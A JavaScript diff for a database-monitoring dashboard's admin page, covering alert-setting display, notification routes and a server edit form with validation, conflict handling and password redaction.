+  {
+    title: "Long Running Query Filters",
+    groups: ["long_running_query"],
+    top: [],
+    groupFields: { long_running_query: ["exclude_sp_server_diagnostics", "exclude_wait_for", "exclude_backups",
+      "exclude_misc_waits", "exclude_cdc", "excluded_program_name_prefixes", "excluded_logins"] },
+  },
+  { title: "Health bands", groups: ["health_bands"], top: [] },
+  { title: "Global alert filters", groups: [], top: ["excluded_databases"] },
+  { title: "Automated analysis", groups: ["analysis"], top: [] },
+  { title: "Fleet sweep reports", groups: ["fleet_sweep"], top: [] },
+];
+
+/* The fields the page shows for each group. A key the read carries that is not listed here is not drawn, so a field
+   added to the service later cannot reach the page until it is listed (and reviewed) here. */
+export const GROUP_FIELDS = {
+  cpu: ["enabled", "threshold_percent", "mode"],
+  blocking: ["enabled", "count_threshold", "wait_threshold_seconds", "pg_count_threshold"],
+  deadlocks: ["enabled", "count_threshold", "pg_count_threshold"],
+  health_bands: ["deadlock_warn_per_hour", "deadlock_critical_per_hour"],
+  poison_wait: ["enabled", "threshold_ms"],
+  long_running_query: ["enabled", "threshold_minutes", "max_results", "exclude_sp_server_diagnostics", "exclude_wait_for",
+    "exclude_backups", "exclude_misc_waits", "exclude_cdc", "excluded_program_name_prefixes", "excluded_logins"],
+  tempdb_space: ["enabled", "threshold_percent"],
+  low_disk: ["enabled", "threshold_percent", "threshold_gb", "critical_free_percent", "critical_free_gb"],
+  self_alerts: ["disk_free_warn_percent", "disk_free_warn_gb", "collection_stale_minutes", "collection_failure_threshold",
+    "store_job_cadence_warn_percent", "retention_hold_warn_ratio", "retention_hold_critical_ratio"],
+  pvs: ["enabled", "threshold_percent", "floor_gb"],
+  file_growth: ["enabled", "rise_mb", "volume_percent", "lookback_minutes"],
+  long_running_job: ["enabled", "multiplier"],
+  failed_job: ["enabled", "lookback_minutes"],
+  database_state: ["enabled"],
+  ag: ["enabled", "lag_threshold_seconds", "redo_queue_threshold_kb", "disconnect_refire_minutes"],
+  delivery: ["mode", "per_event_max", "cooldown_minutes"],
+  analysis: ["enabled", "interval_minutes", "notifications_enabled", "notify_severity", "notify_cooldown_minutes",
+    "uncorroborated_route", "uncorroborated_route_source"],
+  fleet_sweep: ["enabled", "interval_minutes"],
+};
+
+/* A key that names a credential or a destination is never shown, whatever the read carries. */
+const SECRET_KEY = /(url|password|passwd|secret|token|credential|api_?key|routing_key|smtp_user|webhook|connection_?string|auth|pwd)/i;
+
+export function isSecretKey(key) {
+  return SECRET_KEY.test(String(key));
+}
+
+function valueText(v) {
+  if (v == null) return "—";
+  if (Array.isArray(v)) return v.length ? v.map(String).join(", ") : "(none)";
+  if (typeof v === "boolean") return v ? "yes" : "no";
+  if (typeof v === "object") return "—";
+  return String(v);
+}
+
+/** Setting rows for one group: [{ setting, value }], only the fields the group allow-list names (or `fields`, when a
+    section shows part of a group) that the group carries; a secret-shaped key is dropped even if it were listed. */
+export function groupRows(prefix, group, fields) {
+  if (!group || typeof group !== "object" || Array.isArray(group)) return [];
+  const allowed = fields || GROUP_FIELDS[prefix] || [];
+  return allowed
+    .filter((k) => k in group && !isSecretKey(k))
+    .map((k) => ({ setting: prefix + "." + k, label: settingLabel(prefix, k), value: valueText(group[k]) }));
+}
+
+/** The sections of the settings payload as [{ title, rows }]; a section with no rows is dropped. */
+export function settingSections(data) {
+  const d = data && typeof data === "object" ? data : {};
+  return SETTING_SECTIONS.map((s) => {
+    const rows = [];
+    for (const k of s.top) if (k in d && !isSecretKey(k)) rows.push({ setting: k, label: settingLabel("", k), value: valueText(d[k]) });
+    for (const g of s.groups) rows.push(...groupRows(g, d[g], s.groupFields && s.groupFields[g]));
+    return { title: s.title, rows };
+  }).filter((s) => s.rows.length);
+}
+
+/** Route rows: only the columns above, with the channel names joined. A destination field is never copied. */
+export function routeRows(data) {
+  const routes = data && Array.isArray(data.routes) ? data.routes : [];
+  return routes.map((r) => ({
+    route_id: r.route_id,
+    enabled: r.enabled,
+    metric_match: r.metric_match,
+    match_kind: r.match_kind,
+    family: r.family,
+    channels: Array.isArray(r.configured_channels) ? r.configured_channels.filter((c) => !isSecretKey(c)).join(", ") : null,
+    smtp_recipients: Array.isArray(r.smtp_recipients) ? r.smtp_recipients.join(", ") : r.smtp_recipients ?? null,
+    modified_at_utc: r.modified_at_utc,
+  }));
+}
+
+export function serverRows(data) {
+  if (Array.isArray(data)) return data;
+  return data && Array.isArray(data.servers) ? data.servers : [];
+}
+
+/* Edit a server (#5240): the pure rules behind the Servers tab's edit form. They decide what the form shows, what it
+   checks before it sends anything, the body it sends and what each answer means. None of them touches the page or the
+   network, so the form built on top of them can be tested rule by rule.
+   They mirror the service's edit (PlanEdit and ParseEditChanges in Mcp/DarlingMcpServerAdminTools.Edit.cs):
+     - only the fields the form changed are sent, plus the read's opaque modified_at text as expected_modified_at;
+     - a SQL Server edit never sends port (the service refuses it, even 0) and a PostgreSQL edit never sends auth;
+     - a password is required when the connection of a SQL or ServicePrincipal server changes, because the stored one
+       cannot be read back; and the service probes the new connection on ANY connection change (Windows and managed
+       identity included) or whenever a password is sent.
+   `original` below is editFormValues(the by-id read) as the form opened; it carries the engine. `values` is the
+   form's current text and booleans, shaped the same way. */
+
+/** The editable fields in form order. The body is built only from these keys, so no other column can be sent. */
+export const EDIT_FIELDS = [
+  { key: "host", label: "Server Name / Address" },
+  { key: "display_name", label: "Display Name" },
+  { key: "port", label: "Port" },
+  { key: "auth", label: "Authentication" },
+  { key: "username", label: "Username" },
+  { key: "encrypt_mode", label: "Encryption" },
+  { key: "trust_server_certificate", label: "Trust server certificate" },
+  { key: "database", label: "Database" },
+  { key: "read_only_intent", label: "Read-only intent" },
+  { key: "multi_subnet_failover", label: "Multi-subnet failover" },
+  { key: "monthly_cost_usd", label: "Monthly Cost ($)" },
+  /* #5452: PostgreSQL only, like port. A blank box keeps the stored role; "Remove AWS role" sends null. The external ID is
+     not here: it is write-only, read from its own box at Save, never held in the form's values. */
+  { key: "aws_role_arn", label: "AWS role ARN" },
+];
+
+/* The service's own sentences for the AWS role (AwsRoleSettings in the Storage project), so the form refuses what the
+   service would refuse, in the same words. A test pins that these match the C# constants. */
+export const AWS_INVALID_ROLE = "The AWS role must be an IAM role ARN, such as arn:aws:iam::123456789012:role/darling-monitor.";
+export const AWS_INVALID_EXTERNAL_ID = "The external ID must be 2 to 1224 characters: letters, digits and _ + = , . @ : / - with no spaces.";
+export const AWS_EXTERNAL_ID_NEEDS_ROLE = "An external ID needs an AWS role ARN. Set the role, or clear the external ID.";
+export const AWS_ROLE_CHANGE_NEEDS_EXTERNAL_ID = "Changing the AWS role needs the external ID with it: send the external ID again, or clear it.";
+
+const AWS_ROLE_PATTERN = /^arn:aws(?:-[a-z]+)*:iam::[0-9]{12}:role\/(.+)$/;
+const AWS_ROLE_NAME_PATTERN = /^[A-Za-z0-9_+=,.@-]{1,64}$/;
+const AWS_ROLE_PATH_SEGMENT_PATTERN = /^[A-Za-z0-9_+=,.@-]+$/;
+const AWS_EXTERNAL_ID_PATTERN = /^[A-Za-z0-9_+=,.@:/-]{2,1224}$/;
+
+/* True when `role` (trimmed, not blank) is an IAM role ARN the service accepts. */
+function validAwsRole(role) {
+  if (role.length < 20 || role.length > 2048) return false;
+  const m = AWS_ROLE_PATTERN.exec(role);
+  if (!m) return false;
+  const parts = m[1].split("/");
+  if (!AWS_ROLE_NAME_PATTERN.test(parts[parts.length - 1])) return false;
+  let pathLength = 0;
+  for (let i = 0; i < parts.length - 1; i++) {
+    if (!AWS_ROLE_PATH_SEGMENT_PATTERN.test(parts[i])) return false;
+    pathLength += parts[i].length + 1;
+  }
+  return !(pathLength > 0 && pathLength + 1 > 512);
+}
+export const EDIT_AUTHS = ["Windows", "SQL", "ServicePrincipal", "ManagedIdentity"];
+export const EDIT_ENCRYPT_MODES = ["Optional", "Mandatory", "Strict"];
+
+/* The service treats any engine that is not "sqlserver" (ignoring case) as PostgreSQL. */
+const isPostgres = (engine) => String(engine == null ? "" : engine).toLowerCase() !== "sqlserver";
+const asText = (x) => (x == null ? "" : String(x));
+/* The list entry that matches `raw` ignoring case and outer spaces, or undefined. */
+const pickWord = (list, raw) => list.find((w) => w.toLowerCase() === asText(raw).trim().toLowerCase());
+const authWord = (raw) => pickWord(EDIT_AUTHS, raw) || "Windows";
+const storesSecret = (auth) => auth === "SQL" || auth === "ServicePrincipal";
+/* The service compares the encryption mode ignoring case and every other field exactly. */
+const sameValue = (key, a, b) => (key === "encrypt_mode" ? asText(a).toLowerCase() === asText(b).toLowerCase() : a === b);
+
+/** The by-id read (or a conflict answer's `current`) as the form's values. PostgreSQL always shows auth "SQL", an auth
+    the list does not know shows "Windows" as the service's own word for it does, port 0 (the default) shows blank, a
+    boolean is true only when it is exactly true, and an encryption mode the list does not know stays as stored text. */
+export function editFormValues(row) {
+  const r = row && typeof row === "object" ? row : {};
+  const engine = isPostgres(r.engine) ? "postgres" : "sqlserver";
+  const port = Number(r.port);
+  const cost = Number(r.monthly_cost_usd);
+  const stored = asText(r.encrypt_mode);
+  return {
+    engine,
+    host: asText(r.host),
+    display_name: asText(r.display_name),
+    port: Number.isFinite(port) && port > 0 ? String(port) : "",
+    auth: engine === "postgres" ? "SQL" : authWord(r.auth),
+    username: asText(r.username),
+    encrypt_mode: pickWord(EDIT_ENCRYPT_MODES, stored) || stored,
+    trust_server_certificate: r.trust_server_certificate === true,
+    database: asText(r.database),
+    read_only_intent: r.read_only_intent === true,
+    multi_subnet_failover: r.multi_subnet_failover === true,
+    monthly_cost_usd: Number.isFinite(cost) ? String(cost) : "0",
+    aws_role_arn: asText(r.aws_role_arn),
+    aws_external_id_set: r.aws_external_id_set === true,
+    aws_remove_role: false,
+    aws_clear_external_id: false,
+  };
+}
+
+/** Form values as the service reads them: text trimmed, a blank database or username null, the username null for
+    Windows, port a number for PostgreSQL (blank is 0, the default; a typed one must be digits from 1 to 65535, else NaN)
+    and null for SQL Server (its port goes in the host), auth "SQL" for PostgreSQL, cost a number (blank is 0, a typed
+    one must be digits with an optional decimal point, else NaN) and booleans only when exactly true. */
+export function normalizeEdit(values, engine) {
+  const v = values && typeof values === "object" ? values : {};
+  const postgres = isPostgres(engine);
+  const trim = (x) => asText(x).trim();
+  const auth = postgres ? "SQL" : authWord(v.auth);
+  const port = trim(v.port);
+  const cost = trim(v.monthly_cost_usd);
+  let portValue = null;
+  if (postgres) portValue = port === "" ? 0 : /^\d+$/.test(port) && Number(port) >= 1 && Number(port) <= 65535 ? Number(port) : NaN;
+  return {
+    host: trim(v.host),
+    display_name: trim(v.display_name),
+    port: portValue,
+    auth,
+    username: auth === "Windows" ? null : trim(v.username) || null,
+    encrypt_mode: pickWord(EDIT_ENCRYPT_MODES, v.encrypt_mode) || trim(v.encrypt_mode),
+    trust_server_certificate: v.trust_server_certificate === true,
+    database: trim(v.database) || null,
+    read_only_intent: v.read_only_intent === true,
+    multi_subnet_failover: v.multi_subnet_failover === true,
+    monthly_cost_usd: cost === "" ? 0 : /^(\d+\.?\d*|\.\d+)$/.test(cost) ? Number(cost) : NaN,
+    /* A blank box is "no role typed" (null): it keeps the stored role, it never removes it. */
+    aws_role_arn: postgres ? trim(v.aws_role_arn) || null : null,
+  };
+}
+
+/* The service's own test for "how this server is reached changed", over two normalized sets of values (connectionChanged
+   in PlanEdit). NaN never equals NaN, so a port typed wrong counts as a change; the form refuses it before this matters. */
+function connectionDiffers(o, v) {
+  return o.host !== v.host
+    || o.port !== v.port
+    || o.database !== v.database
+    || o.read_only_intent !== v.read_only_intent
+    || o.auth !== v.auth
+    || o.username !== v.username
+    || o.encrypt_mode.toLowerCase() !== v.encrypt_mode.toLowerCase()
+    || o.trust_server_certificate !== v.trust_server_certificate
+    || o.multi_subnet_failover !== v.multi_subnet_failover;
+}
+
+/** True when the service will ask for the password again: the effective auth (PostgreSQL is always "SQL") stores a
+    secret AND the connection changed, switching auth included. Windows and managed identity store none, so never. */
+export function passwordRequired(original, values) {
+  const engine = original && original.engine;
+  const next = normalizeEdit(values, engine);
+  return storesSecret(next.auth) && connectionDiffers(normalizeEdit(original, engine), next);
+}
+
+/** True when the service will probe the new connection before saving: a password is sent, or the connection changed
+    whatever the auth (the same field test as passwordRequired, without its auth condition). */
+export function probeExpected(original, values, passwordSent) {
+  const engine = original && original.engine;
+  return !!passwordSent || connectionDiffers(normalizeEdit(original, engine), normalizeEdit(values, engine));
+}
+
+/** The first sentence that stops a save before any request, or null. Each is the desktop's or the service's own
+    sentence, in the order the form's fields run. `password` is what was typed (empty when nothing was). */
+export function validateEdit(original, values, password, externalId) {
+  const engine = original && original.engine;
+  const was = normalizeEdit(original, engine);
+  const next = normalizeEdit(values, engine);
+  if (!next.host) return "Server name is required.";
+  if (isPostgres(engine) && Number.isNaN(next.port)) return "Port must be between 1 and 65535, or blank for the default (5432).";
+  if (isPostgres(engine)) {
+    /* #5452: the AWS role checks, in the service's order: each format, an ID with no role, a role change that would keep the
+       stored ID unseen. Whether the role is on darling.json's list is the service's to say. */
+    const idTyped = asText(externalId).trim();
+    const removeRole = !!values && values.aws_remove_role === true;
+    if (!removeRole && next.aws_role_arn !== null && !validAwsRole(next.aws_role_arn)) return AWS_INVALID_ROLE;
+    if (idTyped !== "" && !AWS_EXTERNAL_ID_PATTERN.test(idTyped)) return AWS_INVALID_EXTERNAL_ID;
+    const effectiveRole = removeRole ? null : next.aws_role_arn !== null ? next.aws_role_arn : was.aws_role_arn;
+    if (idTyped !== "" && effectiveRole === null) return AWS_EXTERNAL_ID_NEEDS_ROLE;
+    const clearingId = !!values && values.aws_clear_external_id === true;
+    if (effectiveRole !== null && effectiveRole !== was.aws_role_arn && !!original && original.aws_external_id_set === true && idTyped === "" && !clearingId) {
+      return AWS_ROLE_CHANGE_NEEDS_EXTERNAL_ID;
+    }
+  }
+  if (next.auth === "SQL" && !next.username) return "Username is required for SQL Server authentication.";
+  if (next.auth === "ServicePrincipal" && !next.username) return "The Application (client) ID is required for service-principal authentication.";
+  if (!password && passwordRequired(original, values)) {
+    if (was.auth !== next.auth) {
+      return next.auth === "ServicePrincipal"
+        ? "Switching to ServicePrincipal authentication needs the client secret as password."
+        : "Switching to SQL authentication needs the password.";
+    }
+    return "Changing how this server is reached needs its password again: it is stored encrypted and this surface cannot read it back.";
+  }
+  if (!Number.isFinite(next.monthly_cost_usd)) return "Monthly cost must be a number, zero or more.";
+  return null;
+}
+
+/** The edit's request body, or null when nothing differs and no password is sent. Only EDIT_FIELDS keys that differ
+    between the normalized `original` and `values` (a number that is not finite is never sent); a SQL Server body never
+    carries port and a PostgreSQL body never carries auth; a switch of auth always carries the username for SQL,
+    ServicePrincipal and managed identity (the service drops the old one on a switch) and Windows never carries one;
+    password only when typed AND the effective auth stores a secret; `expected_modified_at` is `token` exactly as the
+    read gave it, always last. */
+export function buildEditBody(original, values, token, password, externalId) {
+  const engine = original && original.engine;
+  const postgres = isPostgres(engine);
+  const was = normalizeEdit(original, engine);
+  const next = normalizeEdit(values, engine);
+  const switched = was.auth !== next.auth;
+  const body = {};
+  for (const { key } of EDIT_FIELDS) {
+    if (key === (postgres ? "auth" : "port")) continue;
+    if (key === "aws_role_arn") continue;
+    const value = next[key];
+    if (typeof value === "number" && !Number.isFinite(value)) continue;
+    if (key === "username" && next.auth === "Windows") continue;
+    if ((key === "username" && switched) || !sameValue(key, was[key], value)) body[key] = value;
+  }
+  if (typeof password === "string" && password !== "" && storesSecret(next.auth)) body.password = password;
+  if (postgres) {
+    /* #5452: a typed role that differs is sent; a blank box keeps the stored one; "Remove AWS role" sends null, which takes
+       the external ID with it. The external ID: typed text replaces, "Clear external ID" sends null, otherwise it is left out. */
+    const removeRole = !!values && values.aws_remove_role === true;
+    const idTyped = asText(externalId).trim();
+    if (removeRole) {
+      if (was.aws_role_arn !== null) body.aws_role_arn = null;
+    } else {
+      if (next.aws_role_arn !== null && next.aws_role_arn !== was.aws_role_arn) body.aws_role_arn = next.aws_role_arn;
+      if (idTyped !== "") body.aws_external_id = idTyped;
+      else if (!!values && values.aws_clear_external_id === true && !!original && original.aws_external_id_set === true) body.aws_external_id = null;
+    }
+  }
+  if (!Object.keys(body).length) return null;
+  /* A missing token is sent as null, which the service refuses by name, rather than dropped, which would save with no
+     stale-edit check at all. */
+  body.expected_modified_at = token == null ? null : token;
+  return body;
+}
+
+const UNEXPECTED_ANSWER = "The service gave an answer this page does not understand, so it is not known whether anything was saved. Your entries are kept; check the server list before saving again.";
+
+/** What one answer to the edit means, from the HTTP status, the parsed body and (for status 0) the transport's own
+    message: { kind, close, reread, banner?, notice?, current? }. `close` drops the form, `reread` reads the list again,
+    `banner` is the sentence for the form's error strip and `notice` the sentence for the page. It branches on the
+    status and the body's status word, never on message text. The sentence is the body's message, else its error, else
+    "Request failed (HTTP n).". The session is gone only when the transport says so (`expired`: a 401, or a 2xx whose text is
+    not JSON, which is a sign-in page); a 2xx whose body is JSON but not an object is an unexpected answer that keeps the
+    form and its typed values, with a sentence (#5356). */
+export function interpretEdit(status, body, message, expired) {
+  const b = body !== null && typeof body === "object" && !Array.isArray(body) ? body : null;
+  const word = b && typeof b.status === "string" ? b.status : "";
+  const sentence = (b && [b.message, b.error].find((s) => typeof s === "string" && s !== "")) || "Request failed (HTTP " + status + ").";
+  if (status === 0) return { kind: "network", close: false, reread: false, banner: asText(message) || "Network error." };
+  if (status === 401 || expired === true) return { kind: "expired", close: true, reread: false };
+  if (status >= 200 && status < 300 && !b) return { kind: "unexpected", close: false, reread: false, banner: UNEXPECTED_ANSWER };
+  if (status === 403) return { kind: "readonly", close: true, reread: false, notice: "This account has read-only access. Nothing was saved." };
+  if (status === 404) return { kind: "notfound", close: true, reread: true, notice: sentence };
+  if (status === 409 && word === "conflict" && b.current && typeof b.current === "object") {
+    return { kind: "conflict", close: false, reread: false, banner: "This server was changed since you opened it. Nothing was saved.", current: b.current };
+  }
+  if (status === 503) return { kind: "timeout", close: false, reread: true, banner: sentence };
+  if (status === 200 && word === "updated") {
+    const name = asText(b.display_name) || asText(b.server);
+    const note = typeof b.note === "string" && b.note ? " " + b.note : "";
+    const tested = b.tested === true ? " The connection was tested before saving." : "";
+    return { kind: "updated", close: true, reread: true, notice: (name ? 'Saved "' + name + '".' : "Saved.") + note + tested };
+  }
+  if (status === 200 && word === "unchanged") return { kind: "unchanged", close: true, reread: false, notice: "No change was needed; nothing was written." };
+  return { kind: "failed", close: false, reread: false, banner: sentence };
+}
+
+/* A value as a conflict line shows it: yes or no, "(default)" for port 0, "(blank)" for none, and what the user typed
+   for a number that did not parse. */
+function shownEdit(key, value, typed) {
+  if (typeof value === "boolean") return value ? "yes" : "no";
+  if (key === "port" && value === 0) return "(default)";
+  if (typeof value === "number" && !Number.isFinite(value)) return asText(typed).trim() || "(blank)";
+  return value == null || value === "" ? "(blank)" : String(value);
+}
+
+/** The fields a 409 conflict says changed under the form: one { key, label, was, now, yours, text } per EDIT_FIELDS
+    key whose value in `current` (the answer's current values, run through editFormValues) differs from `original`.
+    `yours` is what the user entered when they changed that field too, else null. SQL Server skips port and PostgreSQL
+    skips auth, as the body does. text is "<Label>: was <old>, now <new>" plus " (you entered <yours>)". */
+export function conflictChanges(original, current, values) {
+  const engine = original && original.engine;
+  const postgres = isPostgres(engine);
+  const was = normalizeEdit(original, engine);
+  const now = normalizeEdit(editFormValues(current), engine);
+  const mine = normalizeEdit(values, engine);
+  const typed = values && typeof values === "object" ? values : {};
+  const changes = [];
+  for (const { key, label } of EDIT_FIELDS) {
+    if (key === (postgres ? "auth" : "port") || sameValue(key, was[key], now[key])) continue;
+    const shownWas = shownEdit(key, was[key]);
+    const shownNow = shownEdit(key, now[key]);
+    const yours = sameValue(key, was[key], mine[key]) ? null : shownEdit(key, mine[key], typed[key]);
+    changes.push({ key, label, was: shownWas, now: shownNow, yours, text: label + ": was " + shownWas + ", now " + shownNow + (yours === null ? "" : " (you entered " + yours + ")") });
+  }
+  /* #5452: the external ID is never read back; a conflict shows only whether one is stored. */
+  if (postgres && !!original && !!current && (original.aws_external_id_set === true) !== (editFormValues(current).aws_external_id_set === true)) {
+    const idState = (set) => (set ? "set" : "not set");
+    const shownWas = idState(original.aws_external_id_set === true);
+    const shownNow = idState(editFormValues(current).aws_external_id_set === true);
+    changes.push({ key: "aws_external_id_set", label: "AWS external ID", was: shownWas, now: shownNow, yours: null, text: "AWS external ID: was " + shownWas + ", now " + shownNow });
+  }
+  return changes;
+}
+
+/** The form's values after "Reapply my changes" on a 409: `current` (the answer's current values, run through
+    editFormValues) with every field the user changed since the form opened laid over it, so the user's own edits
+    survive and every other box shows what the service holds now. A field counts as the user's by the test the body
+    uses (normalized `original` against normalized `values`), so a box only padded with spaces takes the current value,
+    and one that holds text which does not parse (a bad port or cost) keeps it for the next Save to refuse. The username
+    goes with the authentication: when the user chose the authentication, the username box they left with it is theirs
+    too, so another edit's client id never turns up inside a login they picked. */
+export function reapplyValues(original, values, current) {
+  const engine = original && original.engine;
+  const was = normalizeEdit(original, engine);
+  const mine = normalizeEdit(values, engine);
+  const typed = values && typeof values === "object" ? values : {};
+  const merged = { ...current };
+  for (const { key } of EDIT_FIELDS) {
+    if (!sameValue(key, was[key], mine[key])) merged[key] = typed[key];
+  }
+  if (!sameValue("auth", was.auth, mine.auth)) merged.username = typed.username;
+  /* #5452: the two AWS boxes are the user's own intent, kept over whatever the other edit left. */
+  merged.aws_remove_role = typed.aws_remove_role === true;
+  merged.aws_clear_external_id = typed.aws_clear_external_id === true;
+  return merged;
+}
+
+/** `text` with every copy of the typed password replaced by "[redacted]" (plain split and join, no pattern); with no
+    password the text is returned as it is. Applied to any service sentence before it is shown. */
+export function redactPassword(text, ...secrets) {
+  let out = text;
+  for (const secret of secrets) {
+    if (typeof secret !== "string" || secret === "") continue;
+    out = asText(out).split(secret).join("[redacted]");
+    const trimmed = secret.trim();
+    if (trimmed !== "" && trimmed !== secret) out = asText(out).split(trimmed).join("[redacted]");
+  }
+  return out;
+}
+
+const TABS = [
+  { id: "servers", label: "Servers" },
+  { id: "routes", label: "Notification Routes" },
+  { id: "settings", label: "Alert Settings" },
+];
+
+/* The tab last shown, so a repaint with a bare #/admin returns to it. */
+let activeTab = "servers";
+let renderGeneration = 0;
+let shownBody = null;
+let shownTab = null;
+
+function findTab(id) {
+  return TABS.find((t) => t.id === id) || TABS.find((t) => t.id === activeTab) || TABS[0];
+}
+
+function tabBar(active) {
+  return el("nav", { class: "subtabs", "aria-label": "Admin sections" },
+    TABS.map((t) => el("a", {
+      class: "subtab" + (t.id === active.id ? " active" : ""),
+      href: "#/admin/" + t.id,
+      "aria-current": t.id === active.id ? "page" : null,
+      text: t.label,
+    })));
+}
+
+/* A read result as a node, or null once the read is a usable payload (the caller then builds from res.data). */
+function failure(res, emptyPrefix) {
+  if (res.kind === "aborted" || res.kind === "auth") return emptyStrip("");
+  if (res.kind === "error") {
+    return emptyPrefix && res.message && res.message.startsWith(emptyPrefix) ? emptyStrip(res.message) : errorStrip(res.message);
+  }
+  if (res.kind === "empty") return emptyStrip(res.message);
+  return null;
+}
+
+/* The Servers tab's note, by what the session probe said (#5240). A probe that failed is not the same as a read-only
+   seat: reloading fixes the first and never the second, so each gets its own words. */
+const NOTE_READ_ONLY = "Every configured server, enabled or disabled. This sign-in is read-only. Add, edit and remove stay in the desktop Manage Servers window.";
+const NOTE_EDITING = "Every configured server, enabled or disabled. Edit changes a server in place. Add, remove, enable or disable, and excluded databases stay in the desktop Manage Servers window.";
+const NOTE_PROBE_FAILED = "Every configured server, enabled or disabled. Could not check whether this sign-in can make changes. Reload the page to try again.";
+
+function serversNote(session) {
+  if (session.probe_failed === true) return NOTE_PROBE_FAILED;
+  return session.can_edit === true ? NOTE_EDITING : NOTE_READ_ONLY;
+}
+
+/* The Servers tab's page state, in module scope so the 60 s repaint keeps it (#5240).
+   `layout` is the three boxes the tab draws into, { body, noticeBox, formBox, tableBox }. They are mounted into the body
+   ONCE, on the first draw into it, and every later draw (the poll, the re-read after a change, a read that failed, the
+   render catch) refreshes only noticeBox and tableBox. A node taken out of the document loses the focus and the keystrokes
+   that follow it, and the same node put back does not get the focus back, so while a form is open no code passes formBox
+   or anything that holds it to mount() or clear() (review finding 1; manage-tags.js keeps its form the same way).
+   `editForm` is the open edit form, or null. `opening` counts every open and every close, so a by-id read that lands after
+   its form was discarded is dropped. `notice` is the page-level sentence, { message, isError } or null: a refused or
+   failed open now, a save's answer later. `summary` is the count-and-note text of the last good list read.
+   `busy` is true while a save runs (review finding 4): Save, Cancel and every Edit button are disabled and a second Save does
+   nothing. `held` is a save's answer that landed while the Servers tab was not on screen, shown the next time it is.
+   `hashWatched` is true once the one hashchange listener is registered. */
+let layout = null;
+let editForm = null;
+let opening = 0;
+let notice = null;
+let summary = null;
+let busy = false;
+let held = null;
+let hashWatched = false;
+
+function serverBoxes(body) {
+  if (layout && layout.body === body) return layout;
+  layout = {
+    body,
+    noticeBox: el("div", { class: "admin-notice", "data-box": "notice" }),
+    formBox: el("div", { class: "admin-form-box", "data-box": "form" }),
+    tableBox: el("div", { class: "admin-table-box", "data-box": "table" }),
+  };
+  mount(body, [layout.noticeBox, layout.formBox, layout.tableBox]);
+  return layout;
+}
+
+/* The page-level sentence (when there is one) above the count and note of the last good read. */
+function drawNotice() {
+  if (!layout) return;
+  const nodes = [];
+  if (notice) {
+    nodes.push(el("div", { class: "strip " + (notice.isError ? "error" : "notice"), role: notice.isError ? "alert" : "status", text: notice.message }));
+  }
+  if (summary) nodes.push(noticeStrip(summary));
+  mount(layout.noticeBox, nodes);
+}
+
+/** Show `message` above the grid, as an error when `isError`; null or "" takes it away. */
+function setNotice(message, isError) {
+  notice = message ? { message, isError: isError === true } : null;
+  drawNotice();
+}
+
+/** A save's answer as a page sentence. With the Servers tab on screen it is the notice; with it off screen (a tab switch
+    while the save ran) it is held, and the next arrival at the Servers tab shows it, so the outcome is never lost. */
+function showOutcome(message, isError) {
+  if (layout) setNotice(message, isError);
+  else held = { message, isError: isError === true };
+}
+
+/* The Edit buttons now in the grid, for the code that locks them while a request runs. */
+function editButtons() {
+  return layout ? layout.tableBox.querySelectorAll("button[data-server-id]") : [];
+}
+
+/* Lock or unlock what a save in flight must not race: Save and Cancel of the open form and every Edit button in the grid
+   (review finding 4). A grid drawn while locked gets its buttons already disabled (editCell), so this reaches only the
+   buttons on screen now. */
+function setBusy(value) {
+  busy = value;
+  if (editForm && editForm.saveButton) {
+    editForm.saveButton.disabled = value;
+    editForm.cancelButton.disabled = value;
+  }
+  for (const button of editButtons()) button.disabled = value;
+}
+
+/* Read the list again under a new render generation (a poll read still in flight is dropped), into the boxes already on
+   the page, so an open form is not touched. Resolves when the read has been drawn. */
+function reloadServers() {
+  if (shownTab !== "servers" || !layout || layout.body !== shownBody) return Promise.resolve();
+  return startBuilder("servers", shownBody, ++renderGeneration);
+}
+
+async function buildServers(body, generation) {
+  const [session, res] = await Promise.all([getSession(), apiGet("/api/admin/servers")]);
+  if (generation !== renderGeneration) return;
+  const boxes = serverBoxes(body);
+  const bad = failure(res, "No servers are registered");
+  if (bad) {
+    summary = null;
+    drawNotice();
+    return mount(boxes.tableBox, bad);
+  }
+  const rows = serverRows(res.data);
+  summary = rows.length + (rows.length === 1 ? " server. " : " servers. ") + serversNote(session);
+  drawNotice();
+  mount(boxes.tableBox, VIZ.table({ servers: rows }, {
+    rowsKey: "servers",
+    columns: serverColumns(session.can_edit === true),
+    rowClass: serverRowClass,
+    emptyText: "No servers are registered yet.",
+  }));
+}
+
+/* ─────────────────────────── the edit form (#5240) ─────────────────────────── */
+
+/* The desktop dialog's sentences (Darling.Viewer AddServerDialog.xaml and .xaml.cs), with the dashes and arrows of
+   the originals written out as plain punctuation. */
+const ENGINE_TEXT = { sqlserver: "SQL Server", postgres: "PostgreSQL" };
+const ENGINE_LOCKED = "The engine is part of what this server is: its collected history is keyed to it, so an edit cannot change it. To move a host between engines, add it as a new server and remove this one.";
+const POSTGRES_NOTE = "PostgreSQL targets connect with username and password authentication. The Database box below is optional: blank connects to the maintenance database ('postgres'), which the cluster-wide collectors read from. Encryption maps to sslmode: Optional is prefer, and Mandatory or Strict is verify-full, or require when 'Trust server certificate' is checked (typically needed for Aurora).";
+const MANAGED_IDENTITY_NOTE = "Managed Identity only works when the Darling service runs on an Azure VM / resource that has a managed identity assigned.";
+const AUTH_LABELS = {
+  Windows: "Windows Authentication",
+  SQL: "SQL Server Authentication",
+  ServicePrincipal: "Azure Service Principal",
+  ManagedIdentity: "Azure Managed Identity",
+};
+const USERNAME_LABELS = { SQL: "Username", ServicePrincipal: "Client (Application) ID", ManagedIdentity: "User-Assigned Identity Client ID (optional)" };
+const PASSWORD_LABELS = { SQL: "Password", ServicePrincipal: "Client Secret" };
+const PASSWORD_REQUIRED = "(required for this change)";
+const PASSWORD_KEPT = "(leave blank to keep the stored one)";
+
+/* The username and password boxes hold the SERVER's login, not this site's. autocomplete="new-password" (and "off" for the
+   username) stops a browser filling in the saved sign-in, and these data attributes ask the common password managers (1Password,
+   LastPass, Bitwarden and the ones that read data-form-type) not to fill, save, update or generate anything here. The two boxes
+   carry no name or id and sit in no form element, so a browser has no sign-in form to take them for (#5240). */
+const KEEP_FROM_PASSWORD_MANAGERS = { "data-1p-ignore": "", "data-lpignore": "true", "data-bwignore": "", "data-form-type": "other" };
+
+/* One labelled text box. The label wraps its control, so it names it without an id or a name attribute. */
+function textRow(f, key, label, props) {
+  const caption = el("span", { class: "mute-label", text: label });
+  const input = el("input", { type: "text", class: "tag-input", "data-field": key, ...props });
+  input.value = f.values[key];
+  input.addEventListener("input", () => {
+    f.values[key] = input.value;
+    f.refresh();
+  });
